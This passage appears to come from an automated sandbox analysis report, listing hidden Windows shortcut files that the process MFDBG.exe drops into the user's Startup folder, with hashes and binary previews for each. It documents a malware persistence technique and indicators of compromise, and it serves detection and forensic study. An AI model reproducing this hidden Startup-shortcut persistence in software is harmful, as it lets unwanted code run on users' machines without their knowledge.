File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92350543089246
Encrypted:	false
SSDEEP:	24:8kBfT+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8KLTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	403A56862ABFF803E4592DEFE1C95283
SHA1:	47122185818263208D9DAC9CB0F279641B101E88
SHA-256:	02E4C825C287C67F7F2131A8EE8F5791FCB419D5DC067185693873F9858AC55A
SHA-512:	0E6C6740645090BAFDAF70CFD85435FF467AD5B9BBBB7C155624AA0329ACEE119C83802CB0244CDB052BC8C9F70E924AE8109D3C4390DCEA228127AAA17BA09B
Malicious:	false
Preview:	L..................F....".......d.....]9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....iO9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde732e5dddd4a47bcdc18deaf833198.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670845
Encrypted:	false
SSDEEP:	24:8yBfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8geFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E736F0568BDDB4A00CBC57A7F3456681
SHA1:	DE38E93ABED6AC54B6163A790DC46BB37F156DCF
SHA-256:	29315F3955D3F4C3D0D7F43EC340BC2B313C6A63E380594F02657BCFB85B3B0C
SHA-512:	166ED1F9FC5FE64F7B0CB46E7B27279F6AB5DF10EE51A3FBA0B483F2A61AF097BB2ED48622F408CDB460FA711E137CF62FF15B7FA24248B30D7C3E0742B57390
Malicious:	false
Preview:	L..................F....".......d.....(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde887806a29420db17e28ba93f99804.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670845
Encrypted:	false
SSDEEP:	24:8uBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8E59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	12501255640406E37D726D4C5BDC373E
SHA1:	D619FC88E59AB6F923393835D4BCF8EE7EAE54CD
SHA-256:	CF98F08490FC4047D4C19983D6A9F017D35EB4E496EA37F3C0E799D4D5086978
SHA-512:	A6DE4E60740338E6A6881098C90636B1D86886A5EEE8D178BF5F1E263E8E828A0346D69D7DBE26C0F99F7E69C5CE38131CC8959EC110C56A5946FC2123BD721E
Malicious:	false
Preview:	L..................F....".......d......>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce21d56bdf234704a66c2040b18a1a63.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916396144397104
Encrypted:	false
SSDEEP:	24:8aBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7617349110C650155116BACCD9813068
SHA1:	CB00C5F0325E90CF4FD2F5F462372612ADCC0652
SHA-256:	341540B7B5261059C07B71587C9185FB447DAB2B80E0C0498D6E58DDFBADC759
SHA-512:	F0F5076A45C28D6E1621A625181F14A60ECD13024EAED2D8948CFBBE1D221CAA8A0F283BD8C172A7E7A72793C7B6EA96A1EB931700D55C934F8B01B21DEC6F79
Malicious:	false
Preview:	L..................F....".......d....&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ce8ed0209632479a9250d4a86c2afdd2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8oBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8mREvZ0yRO7DLO2zdxdRd1kyg
MD5:	83AC418D6D9333D5F846AB514035BA9E
SHA1:	A12C16B7F7F0C3C105A449E6123BF282FC17C1C2
SHA-256:	EFAF04DAB9AB08F72EE8633A7B27BABBE65FDFB1ECD469321A5C1B0CDEE7C341
SHA-512:	782E9102EB60695D2E5DA4A47BE8E2C525ADCE49AE0B0D46AEAAAB52B9403F8E31880EA447072D8589DA5225ED6D1201082FA8FE9DBC0EDAFF09AEF2D99A5F91
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ceef6a4f9abf48ce82b565dd0a17baf6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920303450510237
Encrypted:	false
SSDEEP:	24:8JBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zlEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8F788DA96234FFA37BEAC45D91A447E6
SHA1:	985EA5A458D98D205B00F10C184B9359B08196DB
SHA-256:	51B19DAB75B16DFF66D20DE10BDD9590C3B0C7B3963FBB0E09395FE2D09FC2CA
SHA-512:	10943EA4D67745F074EDDCD5CE8B38E73E45EF9D7367B7466423DB957FAE3EC0F3052503E7B276F9045499956273BE2BCF0ECF4AD539B077FE0B251FD657DC34
Malicious:	false
Preview:	L..................F....".......d....=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf01dcc753df4680a75acb2fa182ef74.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923224943840485
Encrypted:	false
SSDEEP:	24:88Bf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	66A290BDBC44F05E1998E0620D7CA76E
SHA1:	EF93312D3188AFFD11AEC6B3BC593179A76CC727
SHA-256:	840EC6273E6A20588C4D23A0938486037B9AD3EADE3A3CC027256F02E1836808
SHA-512:	66B92FC3AFBF6B800B5220EE5CF82FA2D66574F348DCB7D25F9CBD2AD4E31B8D43F603CF5EAC8841FDD6EB7DB1A3BC910A8A4D5BB8F582766C0D88F5030EA4D9
Malicious:	false
Preview:	L..................F....".......d....O.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf14c5bcafa646f3ad50e3957ed1be81.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924191016943245
Encrypted:	false
SSDEEP:	24:89RBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	252F795DA05D1E2BAA5C345773C73DAE
SHA1:	A79B98946A00246CD3A7943FD92771515CE481C3
SHA-256:	F64FA73E8FBD82F42DA10489F90CC509833DA059EE27286E1BF348940AB88BEE
SHA-512:	DF72AC9736BD063F879BE3D118D2AEF9B4FE29FD10AF9183589F19E6C806D59C05FDB2DB668F62D05896AEE28F45DF14FF0D9251E55B75D9E9332985E5B7205F
Malicious:	false
Preview:	L..................F....".......d...W..;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf2eb955b118455183b99f70ee7a025b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922608496719614
Encrypted:	false
SSDEEP:	24:8ABfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OBEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F037BCD0C47816AB9E4334649E0786C1
SHA1:	601502B3B08B668AA68A02A20570AFFED2E8E41E
SHA-256:	FBFC622C615C4CA1EF4D8C807515A3C261BC388EB77C0CF791A5335E531C96CC
SHA-512:	3EEDD7B1C3B96A23C7A9A8B9650915D5ACD2D2A32BE6F65246074B11F1828EFCCC06E17393BD1756354D027891C1EC8E0CA64D13D83B1F13747FD8B4999371A9
Malicious:	false
Preview:	L..................F....".......d....R.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cf5027baf925495493cc9ba1808b637e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9314891833750965
Encrypted:	false
SSDEEP:	24:8BdrBf8+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BddETEvZ0yRO7DLO2zdxdRd1kyg
MD5:	40B527F0186DC53238DE5A66A36FFFBC
SHA1:	4F2A22F7EF7B801888D248102813948D65540C17
SHA-256:	2A59AB4CA9900A5C3E6D9B3B0FACF4AD963833A16A002877575F5B3E6CB774EB
SHA-512:	8A7B0E626D6809F1023F53DC0D9EB05BA6B3C29D2ECCB3284C29E15CB2B7E053D16EAADB4FC26F054729F778BEE1ED78762D87858BD99657CD1F4A1395755FF7
Malicious:	false
Preview:	L..................F....".......d....J.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cff5ba8843db495f96a70aaf05b73c10.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.909965430473891
Encrypted:	false
SSDEEP:	24:8PBfU98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Z5EvZ0yRO7DLO2zdxdRd1kyg
MD5:	AD24404D63F5A4508A44C5F795C8EE81
SHA1:	7EB8C8DE5CE9B24519FC86C8888F485D9CC91708
SHA-256:	A40BC71A98C97A0574C8F9173C7EEF17E13EF8B9FB86271B84E95825B98C0D8A
SHA-512:	2CFBEA436A8983F5E0808A610A13BF7FC30BDE2F7BF07DFBBE2B09543662490003E6455A248E85D7F4E467A9AC6740EDA70C378FCEE8CFE628C2C01925386685
Malicious:	false
Preview:	L..................F....".......d....88Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Sd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d011912d60dc46f9b4de0e35fa255952.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8VBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XHEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C138AE3EC956571E149415AADA645712
SHA1:	910F22E776F7FB1F901C4F4F579832F97E42F7B4
SHA-256:	1704EC87803159E96BAE4ECC5EDF5AC9579031C7530215134B9F9CE18339D420
SHA-512:	D1DC6448F0C8927E3D5CBFC1B2ABC7AD00BE9E3896B61C6B744E43E3113221EC33D7AD67011ABF2F6664E9F4ED40D4049523BC8E93D19864FBB9C434539F6B7A
Malicious:	false
Preview:	L..................F....".......d...^.?>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0373579bea044a6894a7bae88f94728.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930070997935063
Encrypted:	false
SSDEEP:	24:8DQBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ahEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D4ED1DB34423EB398912ABE5B50B22D2
SHA1:	5AED9F052BE52ACBDDD8235B76E757D5EDAFB532
SHA-256:	46622CF79BFE383FBC76E22E02477D2A3E2D0850664BFFB7792419D45431CF86
SHA-512:	BA4EBD5B422AA6345F8955643C4DC82BC37A5409799D32804E574B84681090C716DA71245F96B12882644AF0D4C663CCF9DF7D5BDE03085AB51723702BA218AF
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d0b86dee567047b79fc76e830a709cf9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
